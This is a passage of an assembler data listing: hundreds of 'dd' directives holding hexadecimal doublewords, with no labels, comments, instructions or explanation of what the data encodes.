0E81A632Fh, 882EC118h dd 4942E0Ah, 8521C158h, 894440ACh, 0DF50B74h, 0DFD7911Fh dd 0A050A709h, 4127FEE8h, 341F4881h, 69002523h, 4C7A265Bh dd 8644863Ah, 5BA200C0h, 2849EFE4h, 0B4003C09h, 0C74D3877h dd 0CE89D4E9h, 210AD7C8h, 0E19C43D8h, 9070B118h, 84F849h dd 93336018h, 0E08CA7BFh, 1608148h, 1190412Bh, 0DC402637h dd 163FE1BCh, 3A181D2Eh, 0EF2358h, 78E84CE0h, 7B7B227Eh dd 0D4076BE6h, 0CD3FF851h, 0F6550D23h, 60E10999h, 4C846AFBh dd 82AB6728h, 4C847AB3h, 0BF8A44C0h, 775BA312h, 858F2402h dd 2A884004h, 0BDC3177Ah, 234402D9h, 0C44478D7h, 0EC99C713h dd 0F84E9C5Ch, 910411B4h, 802E356Ch, 8728C9B8h, 2812BBA3h dd 0A84A7871h, 465650DBh, 0D3F9008Fh, 155C95CCh, 260CE64h dd 0C913EB20h, 9F64913Ah, 77602B58h, 7A23205Bh, 8C117Ch dd 8D5B70C2h, 33DA8DFh, 0B713574Dh, 60E20D52h, 20855841h dd 0BCB3CEA0h, 6B442501h, 6318F395h, 712CD788h, 0A4830044h dd 0FD7DB0AFh, 2501017Ch, 0DF3F8D4Eh, 884088C8h, 641BFE9Eh dd 87D6809h, 4426C0CFh, 0B46956Ah, 2DE66822h, 1CD44409h dd 4F5080DEh, 91D9DAACh, 11B500B0h, 0D275F1EFh, 84382892h dd 0F3760773h, 8730A98Dh, 982E4523h, 35514AA4h, 0D6244780h dd 0A47344B2h, 0D53A902Ch, 51F101D4h, 0E8232EF3h, 1AF8FBD4h dd 0A19369CBh, 6B28D880h, 0F1249F9Ah, 7881E8C8h, 2DD94493h dd 0E803DC45h, 0C22E863Eh, 14EC5011h, 8CA5BC99h, 0E72AFE00h dd 0C7518641h, 0FBC89117h, 7C288800h, 0DE395CFh, 0D38D399Dh dd 32CC6099h, 49872788h, 5875380Ch, 28237C51h, 0C99B2603h dd 8038BCC8h, 4B9B2C01h, 7978E64Eh, 7354FF70h, 0B2CD0005h dd 9875BF7Fh, 3FEA3E29h, 80181D2h, 6486438Ah, 812B7091h dd 0C8CC9B21h, 640CBCD5h, 9B2BC88Bh, 0BD390145h, 93FF7C90h dd 0A26C3397h, 9C15308Eh, 1C81C71Dh, 0CFF38028h, 0AC581DF2h dd 409D0FAh, 60ED958Ch, 28A0CE0h, 44532B70h, 0B0E80F98h dd 0E94B5C93h, 0AB764C00h, 19546A0h, 0CCAA7D32h, 46449B69h dd 8109208Ch, 88286784h, 0C170209Dh, 93088C43h, 62A916Ch dd 91C1E37Ah, 5A1497F4h, 0F8C1CA6h, 0AEFDEF6Dh, 0DE096782h dd 0D7F12780h, 0FAF53C7Dh, 0FCC95B0Ah, 3F41DA0h, 15D366E4h dd 9CC78C0h, 0D985D807h, 1C43DAFFh, 0F954B01Bh, 0A5381FF2h dd 68D0C028h, 5EDA13F0h, 0F4F5F70Fh, 0F3FD8454h, 0D728D0A8h dd 0F388EC0h, 0DF34FBDh, 5018291Dh, 0BE85C3Ah, 605FE24Ch dd 0F0C473B0h, 0F37A07EDh, 604FD1D7h, 1C7C3AFAh, 5A07287Ah dd 0A5CE16F9h, 68E91D80h, 37100CCAh, 0CFD1D732h, 31CD2C06h dd 9B39082Ah, 420423A8h, 60581A71h, 0E4B37A0Ah, 8F02CC41h dd 8097105Ch, 99BCD1C8h, 1C2A2485h, 41D91AB8h, 3BF34075h dd 0F218C026h, 5F89C98Ah, 208208A1h, 0FD00557Ch, 7FB4841Bh dd 0A04C3F70h, 27E3682Ch, 7C08B049h, 88BC660Ch, 0A5300C8Eh dd 505930E8h, 82B834FDh, 6B148358h, 76287903h, 0C403EB3h dd 82F02E40h, 671858B0h, 0F459B8E3h, 787654DBh, 7DF2282Eh dd 82A12158h, 0B00914DFh, 5829DDEFh, 0EB3690DDh, 40255A04h dd 0DC4D06Ch, 3148FB5Ch, 0AB7C06ACh, 228EA1Dh, 0C9359A99h dd 0D4639B1Bh, 0D784C8E7h, 0E49145FDh, 93D1E1C5h, 743F034h dd 44DA9570h, 260CEABDh, 91B51648h, 0FA649158h, 0FE04C8E8h dd 83512809h, 9FE48FFDh, 9A392E22h, 5534214h, 5BBD5880h dd 3D537A1Fh, 0C8C5A164h, 60604401h, 97440C08h, 0BCE852B3h dd 44CAB840h, 0B1C1F485h, 950E869Eh, 1A66F050h, 16F8A655h dd 12DBF270h, 775C0490h, 89CA4196h, 8700266Bh, 3669040Eh dd 54EA8EC1h, 0A310C88Ch, 9AFB50E4h, 99C8E113h, 42987C26h dd 5C910CE4h, 5DD13972h, 0C006E459h, 19206C3Fh, 8F35DB14h dd 67D1C088h, 9081F21Ah, 2B082264h, 94C36829h, 0D6C7D0Bh dd 0C069307Fh, 3C220C94h, 4880C957h, 850C916Ch, 8C026DF8h dd 0C5F7595Fh, 0BB7D5004h, 286288A6h, 84D7F4E0h, 8723C4F4h dd 4881E692h, 729A8CE9h, 2228D450h, 88085F8h, 0C239724h dd 42F4908h, 0CFFCFEE2h, 82C0E10Ch, 44990F1Fh, 0A832F269h dd 518028D3h, 0C99A337h, 8C92A00Ah, 9C6AF912h, 10F5FF88h dd 1095D3F2h, 851CA07Ch, 0FF1FC81h, 1424F75Ch, 0B1D8A640h dd 14730D74h, 11505F61h, 0D3F1426Ah, 0D6E44241h, 0B8FE9F21h dd 0E7AC8815h, 5594ACBCh, 7C30D5D8h, 0C6655893h, 9F9B4C49h dd 6BE9E42Ch, 1B4238E1h, 0F15C56E1h, 0D310800Dh, 5D031559h dd 2104989Bh, 350829F9h, 45DC28E4h, 0C0407C20h, 405EF02Ch dd 67680730h, 0CCE015C3h, 4FF9971h, 94BC9C08h, 7C13C58h dd 1E9828EAh, 0E0276D10h, 47C630ADh, 47D8955Fh, 0A2AA0E3Ch dd 0D840087Eh, 5981143Dh, 0A940886Dh, 0E7D10028h, 58E47794h dd 0C7008CE3h, 43137DC0h, 590A20h, 0D7F0274Ah, 9833CC81h dd 0CE013Fh, 0F810AD86h, 75DD9146h, 305A3022h, 56BD9F59h dd 0F26BF000h, 9B67429Eh, 60E036Ah, 5246217Fh, 151989C0h dd 5658FB01h, 972679A6h, 53A81880h, 0AC899DF2h, 993FC00h dd 0BD2FE702h, 0FA40955h, 4824915Bh, 0E880885Ah, 0EF923200h dd 3A6414FAh, 0ABAA0012h, 58F66E99h, 27001D71h, 0F8328057h dd 7396652h, 0E902A2BDh, 403843F5h, 0C75158E0h, 44007474h dd 8316A153h, 0D38660h, 46D5DD54h, 0D6C9277Fh, 44C0E201h dd 3FCA0E3Bh, 0C437FEE0h, 0D038E789h, 9DE21A34h, 3FA37600h dd 0FA980AC8h, 0D18B03ABh, 211FDA82h, 814872B0h, 0F79FDD07h dd 502C70D3h, 49D20086h, 8D98A071h, 3E72A451h, 0CD7DEEA0h dd 0B11D2C00h, 0AECE5EE6h, 0B3DA07D5h, 40D8D460h, 5CDBE09Fh dd 2ADC3900h, 273F5391h, 42AB011Ah, 1AEC3D9h, 0CDA8D05Fh dd 3CF6DA01h, 60C1D1CCh, 2999D2F1h, 0D1E910CFh, 25CDF0C2h dd 0CBB2B000h, 1ADC45Eh, 9EF71E2Bh, 1C81FE5h, 0ABBEDAD3h dd 0AEC7E0D4h, 190327F0h, 976CE99Fh, 95B82B40h, 0C9585F04h dd 25D42491h, 6CE704B4h, 2C2EC4C5h, 4D304B18h, 13C41096h dd 11283E73h, 4CA890Eh, 0BD592C40h, 807F6183h, 2200D3F8h dd 0A1686B66h, 30A8E67Fh, 0FF488976h, 690027BDh, 44608620h dd 1FA6EB3h, 5BCB9F7Bh, 0C35CF549h, 12AFAA80h, 7FA4B700h dd 33797495h, 0FF9800E6h, 68B89183h, 0CB00D4ECh, 495A192Ah dd 70AB282Dh, 95C30EB1h, 58CF1A7Ah, 0F405FF80h, 860F1F84h dd 0F48B0F94h, 40AF0640h, 0ED9FECCh, 0A2A6A8D0h, 0DCF43A9Eh dd 0BD3201F8h, 18BBC5E6h, 0F4CA0299h, 7FC2E49Ch, 30BAF036h dd 0D105B25h, 0B8180EFCh, 0F768956Dh, 1D101EBEh, 478F0880h dd 0F8E3CB0Ch, 80A36055h, 0E79A92D3h, 14407361h, 41019E71h dd 0CA508CB3h, 0C17878DEh, 0A9794031h, 0F48C5DDCh, 0BE47E888h dd 0FD80709Eh, 0D51EEA6h, 8CA1D688h, 60C06D7Eh, 48121EDBh dd 0C408A4Bh, 0C427D233h dd 42070E26h, 19FF20CAh, 4378896Dh, 48247F48h, 64E2289Ch dd 71644580h, 0A098394h, 0E054811Dh, 1F138F9Ah, 0C7A7980Fh dd 50636749h, 0B0F6DBD5h, 0BDCFD400h, 0F72DCDAEh, 1678B39Dh dd 0DA5002C9h, 54C0B2C3h, 3739601Ch, 0EA5F9E6Dh, 20AB813Dh dd 18457A8Bh, 37FC604Dh, 8715020Ch, 86C8C1D4h, 0F4820498h dd 7B53C77Ch, 3508400Ch, 0A8B1CF08h, 74A39485h, 84354DDh dd 91886E8Fh, 14FE886Fh, 88E8A088h, 8189E480h, 0FA104CF4h dd 0B84508A6h, 0BE504C02h, 872020E0h, 19871C74h, 9DF2192Eh dd 2323BE81h, 0AE203E08h, 17E47080h, 744600B8h, 0E4104CF8h dd 37C69767h, 0A3451060h, 49D15007h, 24318B64h, 0C8A7A448h dd 91919009h, 93449222h, 129D899Ch, 448F249Eh, 79083F78h dd 7B227A91h, 0A52999FDh, 7713A609h, 7CA02122h, 0F66C00A1h dd 0FC338D66h, 36549764h, 8B65A3ECh, 842C6DB8h, 0D604A59Ch dd 83F6928h, 0A0BC7C50h, 95850B00h, 65896FF3h, 74A17C3Fh dd 0E3A30E26h, 848069FDh, 0FF0BB196h, 6EC3A703h, 0A3CBA809h dd 0C4D3A331h, 23B5483h, 6C692240h, 0B600C67Eh, 3CA449FDh dd 4A73A7D3h, 0FF486B67h, 0AAFF0443h, 14718AC9h, 37703C80h dd 10F64694h, 14A28B6Eh, 0AB38A3C0h, 1925D201h, 803290h dd 32C1D613h, 2709148Eh, 38A1792Dh, 0D6557F04h, 9A6ED00h dd 0C0AF5BBDh, 6A791449h, 0B8381014h, 1BB838D2h, 28FDD700h dd 21BDD1C0h, 603BF8B3h, 86251878h, 54072D0Bh, 0D3A2D5A3h dd 331F1C2Ah, 87F65800h, 52428ADCh, 7F2F288Ch, 0DD85E453h dd 43EE8B52h, 96DF4BB4h, 0C90F3000h, 0BF2BCD3Bh, 0D3D700ABh dd 2A293F58h, 26F0A9C4h, 0DF9DB403h, 0F8AA047Eh, 0AABB1D8h dd 401CD5D4h, 8E24E714h, 0AD30DEACh, 0CDCFCA1Fh, 702AD30Fh dd 0B1BED900h, 0ACC62BDBh, 97190100h, 18D2D871h, 0B390C33Ch dd 1900E7A7h, 39C626E8h, 3AC22CD7h, 0B203CF3Ch, 0BE0FA2ABh dd 1AE9E6A3h, 0C329D0ADh, 78E93B30h, 0CF27D3B4h, 0AD88DA31h dd 0EB3BB301h, 0C49C1CEh, 50FA808h, 2C01A8B2h, 0C0AEF1Ah dd 0DA0288C2h, 98E0B1AFh, 380310DCh, 49BC5B0Dh, 46112A7Fh dd 230902E8h, 0A165A532h, 0DE580BF7h, 204AE590h, 0B31B0DD4h dd 0F86EF21Eh, 7C3A169Fh, 0F14AEB05h, 6CFA3C4Ch, 0B30041A0h dd 64CA4F33h, 54CBA66Ah, 761EC45h, 75F20890h, 0A43F7005h dd 8131167Fh, 7862A8A2h, 0FF228901h, 3AF851A0h, 0F4D99241h dd 1815E194h, 0C6D4A10h, 686064C0h, 4F11F169h, 5C31839Ch dd 31BD4E32h, 0F7592318h, 3124E285h, 8A3D3E47h, 30F59040h dd 55FE2954h, 309143Fh, 0C101894h, 7628186Eh, 0A1F14B79h dd 51828D2Ch, 828C7BFAh, 634CC881h, 8B2080A9h, 6D7984EAh dd 0BABD0195h, 0A172AA42h, 80CCF87Eh, 94E151CAh, 86153D03h dd 0D0790696h, 319892D3h, 3E61A674h, 30039018h, 9DEDFC50h dd 542AF86Ah, 0C7B3A486h, 2513C799h, 3FDC0C79h, 8A7FFDF1h dd 3D315961h, 18BA6F1Bh, 284CAFA8h, 0C58EC0Bh, 7A0C0940h dd 0CB03DC41h, 495A62D2h, 0ADB903A3h, 6FFE840Dh, 96283012h dd 4CEA385Dh, 52581055h, 0A364554h, 0E17BFBCBh, 0A80742A4h dd 8C3BA15h, 6C205A10h, 872166B8h, 70164258h, 212ECA24h dd 0A39A8846h, 842450CCh, 56874221h, 7A102542h, 42DEFC7Eh dd 44178806h, 22106AB2h, 6FB9A104h, 835AA12h, 4351FE9Eh dd 7F432208h, 0A90A6F1h, 0DA145A21h, 0E1B2F850h, 7A5B110Ah dd 0FC801210h, 13AE46D2h, 5C22A751h, 0CC6C68BFh, 32248976h dd 0CAD2260h, 6E77B6CBh, 7C09F521h, 91A35F2Fh, 24A6808Ch dd 99B4624h, 0AE1930F4h, 4B9079F8h, 39027713h, 15456240h dd 48B46982h, 0AB3C21BDh, 0A510120Ah, 105419C4h, 0C385911h dd 0B081F558h, 7082C112h, 3CB0493Eh, 0A515F175h, 2A40ACCh dd 7B0F5915h, 4BA0A22Fh, 916466B2h, 9F49B048h, 0F09196B7h dd 74FF7801h, 0F823910Ah, 1E359E13h, 0F5062254h, 73772FC6h dd 367F0010h, 358F67F6h, 71005919h, 3F397437h, 1B3CEC9h dd 3A4947B2h, 6029E0AAh, 95F0D4F0h, 4CA87D4Ah, 0FC033C00h dd 0D1E8AEB3h, 2D0044B8h, 0CF3B6080h, 0B8DC2D8h, 0A7C4D901h dd 3F689E80h, 0C3162361h, 0E40CCD92h, 0B8BF403Ah, 1C250118h dd 0C624E087h, 23405040h, 0D7033A19h, 0A27FB42Bh, 151DF4Ah dd 304CB3DBh, 0DE7D0597h, 30ABC1CFh, 2CCD881Ch, 797FB340h dd 0DAE00250h, 0FBDEB118h, 157F6092h, 18CF4144h, 0C27083ABh dd 0A16E1D6Dh, 185CE937h, 1AE00C4h, 0DAAD1D2Ah, 723C0314h dd 2CC2ABE8h, 20AEE992h, 0A36E01F0h, 72CB220Ah, 80C038CFh dd 20A4C9h, 0D3B35E24h, 0CEB4C828h, 408E14AEh, 22D04000h dd 0D42BA35Dh, 0CD9E04C5h, 0AAB1CAD2h, 12D644C8h, 0CAA3FC04h dd 0FBC0AFD4h, 4346905Fh, 338D3A00h, 173F616Dh, 0ADCA00D9h dd 0ABC2DBE5h, 59091BE9h, 0A0D8D6A3h, 0A4C1D900h, 1296E841h dd 4022E86Bh, 39C5D798h, 0CB041C1Ah, 0C4D1D4ACh, 0CADB40C1h dd 0F27E2883h, 0CDC4CEADh, 246C4220h, 0D4D5E840h, 22E708C2h dd 0C7446C6h, 0B05D1A27h, 509E9690h, 6D095E5Dh, 5D1D2738h dd 9BF68880h, 90B22AD2h, 84405F49h, 5880D920h, 1D192C42h dd 725E8A7h, 89704372h, 6C87D089h, 0C82B8074h, 5F0001A5h dd 25D63BC2h, 6CC3CF7h, 0E660C329h, 0CB7808CFh, 6CABC500h dd 0E9ACB68Dh, 0A71C16D1h, 9F700DE7h, 0E869D028h, 0A0C75E24h dd 3CB02D03h, 0A8C3C1E9h, 0A7B56089h, 60C2AC00h, 1B06D1E7h dd 0BEDC42ABh, 0C05E1E40h, 0C833FAB1h, 83E75FC8h, 30A62CD5h dd 3CF6CF3Eh, 0AFA16ED1h, 0D8D380C1h, 0BD4A9C5h, 0A3721C29h dd 6AD74867h, 0D2B150F8h, 0F9952578h, 98F7C5C4h, 93F06C60h dd 0B3D3CD01h, 18D5E860h, 1849B827h, 0ACCED6C2h, 30BEF041h dd 0C60E2E1Ch, 80CD443Ch, 0C95EE0ABh, 9080F137h, 0B426E6B1h dd 0D03C42AEh, 0D8CB0118h, 8020B3C7h, 0E8AF407Dh, 2348166Dh dd 54C449B2h, 0B485AC09h, 60E49CABh, 0C29D826h, 98809E65h dd 0B0D6B0C4h, 90AB74DCh, 0F1D7E8D8h, 20A6ADF1h, 4D993C4h dd 0D1D8CE08h, 51BCF0Ch, 5EE7E471h, 82C038A6h, 0C2D17F46h dd 0C61F20E0h, 2E443B0Ch, 0EC369B4h, 1B2942B1h, 2090E78Bh dd 2CA5C1CFh, 3B3E3CA4h, 0E009DEDAh, 0FF348319h, 5EF801C5h dd 0CEE9B1B2h, 0D96C70C3h, 7F455C0Ah, 16918F8h, 80653950h dd 0AE406F2Fh, 6CCEC49Fh, 0C8CEBBCBh, 2F7CC493h, 0C83C2C18h dd 8245E68Bh, 0D1DAE014h, 8D01F450h, 3BBEFC01h, 0D8602AE8h dd 176E2ED2h, 1AD10164h, 2E25CBABh, 0F86D98A5h, 50468Ah dd 6F327FF6h, 0D4178BF5h, 2001C5D8h, 0DEA7BED5h, 4FAB3870h dd 0B24412DAh, 3C244EDCh, 0A200D4F3h, 633CB247h, 0A77BC52Eh dd 801CCF3Eh, 9AC32D01h, 25AFD8CDh, 9C80049Fh, 5F5E702Eh dd 0B1606263h, 0A8CEB8D4h, 20D260D5h, 0AEC2D702h, 0C32BCD04h dd 50F4D3A7h, 0C1C89625h, 85AF647Eh, 0C9806268h, 859FE0C2h dd 342E1980h, 0F88250CBh, 50FBC32Ah, 2F7C34A1h, 9094D3B3h dd 0E0AA5F09h, 472C402Ah, 927465h, 0D3AE1743h, 0CC39F6D8h dd 23F80092h, 0D63CCF0Ah, 0D714CC29h, 0E7600DC8h, 0D9E2B026h dd 919609E0h, 381980C2h, 0F81022F7h, 9FC23BFBh, 0A661DA8Fh dd 9DAF0C7Fh, 8F006828h, 0EAF949FAh, 441842h, 5D0F0A1Ch dd 59471FE0h, 610B8401h, 1A0CCF55h, 65F4DEE5h, 0EE5745Eh dd 0EF14415h, 17C1C3Dh dd 0E12FFDBAh, 41EAF00Ch, 1C076175h, 0DE4010FEh, 0E6166380h dd 5A153E1Bh, 4700F13Ch, 4B641FCFh, 16E842E3h, 15332F74h dd 0C01B404Ah, 0F18453Ah, 550DE75Bh, 0E44CC03h, 0EC1FDFA9h dd 1200FDBCh, 13F84018h, 0E21C4A14h, 0E3583815h, 0E544170Fh dd 1E4B0E9Eh, 0F6411827h, 0D40E91Fh, 58E054DFh, 0B17C1DB6h dd 0C1080CE9h, 0EE311F08h, 5B0B2016h, 28F8D4h, 141C4B1Ah dd 1BE04617h, 0D3F955EAh, 1E2A887Ch, 0EA1D7812h, 0F503150Fh dd 0C1591346h, 0D6F010E0h, 4A613E1Bh, 0BDE8CC7Bh, 0F1155EC0h dd 42440E46h, 22BCFE04h, 0F8581704h, 0DCC31209h, 0DE5D8014h dd 23E7031Fh, 0B869E148h, 7D3D310Fh, 603E07Ah, 75896E49h dd 5F0060Eh, 184F5BADh, 5C273B01h, 0BA92217Ch, 0E4163981h dd 6A3D017Dh, 0CC35B5F0h, 0F621AF09h, 3C7DCC03h, 0B8BE4C2Ah dd 3D8B408Fh, 0D28071FAh, 77EFB85Ah, 2700B4E8h, 1149E9BFh dd 603D2633h, 0F8B68016h, 0EB01B9ABh, 0F1217F87h, 0B084B208h dd 4C3285h, 0B348C665h, 0B7F00007h, 3AFF1558h, 7D603BADh dd 0AF65B220h, 20ED53CCh, 60B059C4h, 0FB9F55h, 657054EDh dd 20BC2339h, 0A1295A0Ch, 0DCB8C8h, 0D96D1EE1h, 31767C13h dd 0A2F25819h, 0AC4898C8h, 68070A26h, 0F9746053h, 0E4090DADh dd 0A98DD4h, 0B7060127h, 3DE45282h, 0E3401CA6h, 0FCC05444h dd 7DC62964h, 853C8F68h, 9C58E4D5h, 7F80CD00h, 4B19DF70h dd 78F1B130h, 30C9B61Bh, 4981F2A8h, 0EB01AFEDh, 0BD28E278h dd 898FA70h, 0E5B02141h, 0D5CAAF00h, 58B99A08h, 5261489h dd 0B428905Bh, 135207F8h, 88017174h, 0FA0C7C02h, 0ABD0B93Bh dd 4C767A01h, 0AD57FC64h, 0A3A588ECh, 2B2E0898h, 797665C0h dd 0FAA78025h, 0E6618AF3h, 2340D47Bh, 0C64187ADh, 51F79A58h dd 1A000B70h, 0DC1434BEh, 7D896185h, 8B9702D9h, 57317704h dd 29F09C80h, 0E0C0BB6Dh, 3F40A1F9h, 7B231DF2h, 0B9C00476h dd 0B63C90DEh, 3203F91Ch, 55FB91EEh, 2EFCBBBAh, 80902208h dd 0E132F13Ch, 0D39447Ah, 78A383A8h, 0AA9BA89h, 8265E660h dd 0F08B0884h, 2BD1C89h, 21A87830h, 0FE21FF4Ah, 0E7585C40h dd 9174D1C0h, 55477A9h, 0A6D73B8h, 91C60EEh, 8E260322h dd 7D802479h, 1D71D856h, 6AE601BFh, 22F6F8D7h, 1FD18306h dd 1209DE30h, 1C77B40h, 0EAD4692Ch, 87E6E865h, 12626618h dd 48230B20h, 0CD006056h, 0B6EFDA7Ah, 7209BBF5h, 20AD9171h dd 0E6440D10h, 4440D0BFh, 58EA91C8h, 0EE87CC11h, 0FA78C2AFh dd 0E6A90E1Ch, 0CC0E43AFh, 7143562Fh, 7834E0D1h, 70827075h dd 7DD73022h, 0D03D0A11h, 0FB80AD88h, 2FFD7DBFh, 27DA0498h dd 90C87483h, 0DECC7630h, 53FF5B1Dh, 7BE70C05h, 41582C00h dd 91EC03BDh, 80DB11BCh, 7A11AF57h, 45448C32h, 0AFEF02AEh dd 153DF80Dh, 0BB741C48h, 0BF2179C0h, 0C6394Dh, 7DE51B99h dd 0D5352952h, 65D3E8C0h, 120698FEh, 2A3BEFDBh, 249A4824h dd 379E2402h, 39781AA0h, 0CC0251F9h, 1432771Eh, 0F4041E8h dd 72131420h, 882EA4ECh, 0C7004A23h, 41960C97h, 0E647478h dd 31F38140h, 0D0198A86h, 0C0D658C8h, 7A16AF50h, 9C9F4A43h dd 0C5F480E8h, 0DE63EE8Ch, 0A0B0D628h, 28176C26h, 0E1108C20h dd 0E905A374h, 40BE87A7h, 0D5721FC4h, 780C90E3h, 0F0AA1921h dd 563F1A46h, 0AC00900Bh, 5777285Bh, 7A2BC102h, 0D0D521h dd 0AEBA3E91h, 73882740h, 0C918C00Eh, 0AA74721Eh, 210A66B0h dd 0E0ADDE85h, 5C21A913h, 16C85BC2h, 11560037h, 96EE53EDh dd 81071D18h, 428933E6h, 0B239B1B0h, 0A23E1892h, 77F6681Fh dd 6C7F040Fh, 0EFE03801h, 7739F403h, 0F624135Eh, 3C680826h dd 513418C0h, 53432191h, 0C5001591h, 560832EFh, 0FD5424E5h dd 360DD9Ch, 0CC503541h, 0D82E0038h, 41D35EDAh, 5429F765h dd 88317CEEh, 78532080h, 92A78024h, 0EBB8A9BFh, 2649FA30h dd 6B08E40h, 0D8A4DA3Eh, 0BCF2202Bh, 14DDB206h, 79F60081h dd 6D235984h, 34005E2Ch, 91727711h, 0C0B57666h, 0AD1B0330h dd 78C5FA6Bh, 4C30E817h, 78950AE7h, 6E658067h, 0E8301930h dd 9883B936h, 2E870DDAh, 415017C2h, 0B35980h, 30FCBBDCh dd 0CD302344h, 0C0A67EDAh, 3B8E250h, 32EB0E8Ch, 558891ECh dd 3A401764h, 52DA3323h, 75F6A500h, 5E513059h, 8BD41D71h dd 47802C6Ch, 504C5196h, 915CE0F8h, 0F0A15A00h, 10DCB1A0h dd 0A109807h, 3EB2851Dh, 2180BA6Ch, 4550DDB8h, 0C719CEBEh dd 5408AC7Dh, 0D813F8h, 8DB09610h, 0C00A22D5h, 156854Ch dd 6439DACFh, 419120E1h, 54F87658h, 0C580B60h, 31F5Ah dd 0C616D982h, 0E057EB27h, 563D1101h, 54DBA769h, 0EEE73880h dd 0E25E3473h, 46CB120Dh, 55ED081Ah, 79220BBh, 5D670373h dd 0D3F097BFh, 0F900AAD5h, 824852D2h, 81B41Eh, 74894FD9h dd 28B83BDCh, 0D606C70Ch, 0BED0CAh, 6099216Eh, 0B23A4B48h dd 81B4F33h, 8C2101D5h, 74F59929h, 4C31C409h, 0B11FA00h dd 0A93B16CDh, 0F0F8613Ch, 0D2D3D098h, 13AD5400h, 28446806h dd 0DE5E0590h, 0DB882053h, 0DA630889h, 1DD6A690h, 80F38BF1h dd 5B31E39Eh, 6D006E6Ch, 0FC62E269h, 15C0425h, 5E305D88h dd 0EC7415D7h, 0F8705857h, 4C787B06h, 7D7028F2h, 0A0BE1018h dd 5C3480BFh, 39DB2D0Ah, 0D58E6B62h, 30EC6AF2h, 64001221h dd 0B188750Ah, 22BE966h, 0FD8C7744h, 0EC80FCD4h, 4B0DF958h dd 0E130BF78h, 7F476840h, 5A640ACAh, 7B4FA37h, 38ACA1DDh dd 0D9D5A70Ch, 7FBF774Eh, 9EE3005Eh, 1AE7EE94h, 0C4F2C2FCh dd 55087400h, 0AA82626Eh, 3949C2BEh, 0AC80ECE0h, 8AEFB4F8h dd 0D699CA16h, 0F7F81118h, 65461E2Ch, 693FC0A3h, 0C1441F89h dd 0DE80A919h, 2EE8CD80h, 750C0ABh, 842AA835h, 208C7C02h dd 4B6C39BFh, 3D487C74h, 8583EEF4h, 2A1DFC2Dh, 0E1B4E040h dd 522BE340h, 4700401Ah, 0E65F9550h, 0C00CE375h, 0B0F020A9h dd 0BD640026h, 0D338BAA7h, 0AF3989C5h, 21D8B554h, 0C0024008h dd 485C992Dh, 72222B46h, 99159007h, 8E3058BBh, 28F6FBD5h dd 0E7F05BADh, 2B16EB10h, 92079F73h, 4F116345h, 5DF52E71h dd 3D4D058h, 0BF5C3ACDh, 0C875C98Dh, 48D01F3Ch, 0B635875Ch dd 0DA4A10B1h, 618041F9h, 1AFFD082h, 6F00E2C2h, 0B84C4645h dd 2831DA62h, 50B8DF2Ch, 40FD9897h, 0CF0C4C82h, 59B37E17h dd 8497001Eh, 0FB8B2D0Dh, 9C63559h, 120CF29h, 0FC849EFEh dd 24D0A819h, 390F7F1Ch, 0E01C1A4Eh, 8B7C896Fh, 0EAEE05C7h dd 4FDFD655h, 0F720A390h, 2718B51Ch, 17449A00h, 0DEA2C448h dd 0A870242Eh, 0D90B40B0h, 8200EFCAh, 0A5C25EF3h, 7E209F4Bh dd 0EAB472DFh, 6394898h, 0A185D440h, 15B28Ch, 7FD21DB4h dd 0E90088BDh, 6BC9273Bh, 12394616h, 30CE76C1h, 1CA15538h dd 638CC650h, 0BEE6C0A6h, 80CC9C49h, 0DB210A60h, 4D448C42h dd 0A680016h, 500292CFh, 5E078277h, 0F8B5A62h, 2081686Ch dd 2F4CDEE8h, 0B72B0734h, 74CFD75Dh, 1E2C12C4h, 4FF35C60h dd 0FD0209B6h, 0D882E2BBh, 2600EF9Ch, 4C30DFC3h, 0EE10C413h dd 730DC5A6h, 9C1AF009h, 60701C4h, 57A97D73h, 0D96BFD68h dd 9C57B9h, 73097891h, 0EF52480Dh, 6CD2B80Eh, 0C75C0D24h dd 26A07E35h, 24D06AB0h, 35802911h, 3B2DEF84h, 0F826448Ch dd 43849C00h, 4C38CEABh, 4892E42Dh, 0E984E842h, 87BE1DC6h dd 0A743D480h, 35E93Ch dd 416CD093h, 0EF637647h, 407DAA2Eh, 67133802h, 0FCB08123h dd 5080265Dh, 5C0DF320h, 10D13246h, 4FF980B4h, 1CF4BB8h dd 4DFE2E18h, 91C03528h, 998015D0h, 9B2D0B84h, 0F41D448Ch dd 0C184A007h, 11E1ED4Dh, 58302D4Ah, 7524150Eh, 3C9FA4C6h dd 95B42584h, 0D77367D0h, 0F87151BEh, 0A765F001h, 73080A0Ch dd 0C4025E98h, 30640EBh, 2CD08B73h, 0EACBDA7h, 4F7312E6h dd 0F92F0D4h, 66897F40h, 8C968024h, 0BF308AA4h, 0CD6C8143h dd 2F0E0FFBh, 0DD6332C9h, 0C1D77E0Ch, 0CC07D87Fh, 96754FA5h dd 3B275D00h, 5BF7C462h, 81BD288Fh, 7884ACh, 608DAC39h dd 9319D752h, 643CD49Ah, 9C20C882h, 1440E3D3h, 841829FBh dd 79E0BAh, 8D5121Eh, 2B5A486Ah, 3FD02461h, 319FCD39h dd 0F3EBD61h, 89286853h, 26846A0h, 5E3573EFh, 40BC33EAh dd 3A730819h, 35F701A0h, 0CD10A3B1h, 0E06980E4h, 11BAD464h dd 0B9933EF1h, 0B3945F3Bh, 677B87Dh, 481B7827h, 7602F00Fh dd 21A6C053h, 63B500E2h, 30823CEAh, 2505884h, 2F875DA8h dd 0F064D8D0h, 3924057Fh, 638FBC36h, 98968C55h, 581F2406h dd 38D20898h, 0D4D33900h, 3BD5C1B1h, 1EB62281h, 0B6205048h dd 0C22B7ACFh, 0F1E39178h, 1828FC69h, 2D9DA02Eh, 11709353h dd 95F70021h, 6289B684h, 0BD1B0FC5h, 11C1B29Ah, 24128268h dd 7F033F28h, 258F5E1Fh, 0EEE00F83h, 54E09D4Fh, 0B17AE847h dd 6B5388h, 4C5E5212h, 0AAD1482Ah, 37ECAD04h, 0C0C2C629h dd 0A66309Eh, 0F2DB2F08h, 4048646Ah, 4609EE14h, 61B0637Bh dd 9AF89F42h, 8100AED7h, 2532E395h, 781B7107h, 89F50239h dd 7C1DA75Eh, 5C0A84C4h, 8CCF18Fh, 0D500AC20h, 0CDD64B0Bh dd 0F0C6C7BEh, 3A20D2D0h, 292310h, 6A62E277h, 0CC91170Ah dd 2D075816h, 7A9361B8h, 0FA180126h, 0DD8D25BFh, 0CA58604Ch dd 3981097Fh, 0CD00C5E5h, 2548BA69h, 89DA8888h, 7820DCA6h dd 0F174FE8Dh, 0BA1E2000h, 58ECDE04h, 0F4970062h, 9760F2Bh dd 0CE491433h, 0E9C700C4h, 0DA8249ADh, 0A458D028h, 917D80Ch dd 0B7FA8F30h, 50971496h, 6263FC40h, 